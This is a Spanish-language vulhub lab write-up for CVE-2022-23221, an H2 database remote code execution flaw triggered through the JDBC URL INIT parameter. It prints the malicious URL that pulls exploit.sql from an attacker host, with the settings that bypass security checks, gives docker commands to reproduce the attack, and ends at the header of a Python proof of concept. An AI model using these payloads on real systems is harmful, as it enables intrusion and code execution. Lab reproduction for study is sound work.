
vulhub/H2-database/CVE-2022-23221
Referencia: https://nvd.nist.gov/vuln/detail/cve-2022-23221
H2 es un sistema de gestión de bases de datos relacionales que ofrece la funcionalidad de compilar y ejecutar código Java directamente dentro del motor SQL.
El controlador de H2 analiza la URL JDBC para establecer la conexión entre la aplicación y la base de datos. En este proceso, los parámetros de configuración incluidos en la URL permiten controlar el estado inicial o el comportamiento de la base de datos.
Las versiones de H2 anteriores a la 2.1.210 presentan el problema de que es posible ejecutar scripts SQL remotos a través del parámetro INIT de la URL JDBC. Un atacante puede aprovechar esto para inyectar de forma remota un script SQL manipulado y, mediante las sentencias contenidas en su interior, ejecutar comandos del sistema, lo que provoca la vulnerabilidad CVE-2022-23221.
Las características de esta vulnerabilidad son las siguientes.
Alcance del impacto de la vulnerabilidad
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> omisión de la configuración de seguridad
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL que se ejecuta automáticamente al conectar la aplicación con la base de datos
CREATE ALIAS.
CREATE ALIAS dentro del script que se ejecutará de forma remota hace que H2 ejecute la función Java contenida en el script dentro de la base de datos y, como resultado, se produce el RCE.Escenario
id, whoami y pwd, esto significa que se ha configurado un entorno H2 vulnerable y que, en el proceso de análisis de la URL JDBC maliciosa por parte de H2, el archivo exploit.sql se ha descargado de forma remota desde el servidor externo del atacante y se ha ejecutado.Configuración del entorno
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : proporciona el archivo exploit.sqlTras configurar el entorno, si accedes a http://your-ip:8082 aparece la página web de H2.
: Dado que en la consola web se aplican políticas de seguridad y los parámetros que constituyen la condición de la vulnerabilidad pueden ser filtrados, se reproduce la vulnerabilidad introduciendo directamente a través de la CLI una URL JDBC que contenga parámetros maliciosos y se verifica el resultado.
URL JDBC normal: "jdbc:h2:mem:test"
Comando de solicitud normal
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Resultado de la ejecución

Se introduce una URL JDBC maliciosa en el driver H2 para intentar la conexión con el servidor attacker. En este caso, hay 2 formas de introducir la URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 solicita (HTTP GET) el archivo exploit.sql al servidor attacker según INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado en el parámetro INIT de la URL JDBC y lo ejecuta dentro de la base de datos H2.
docker logs attacker se puede ver el registro de la solicitud del archivo exploit.sql recibida desde el servidor h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys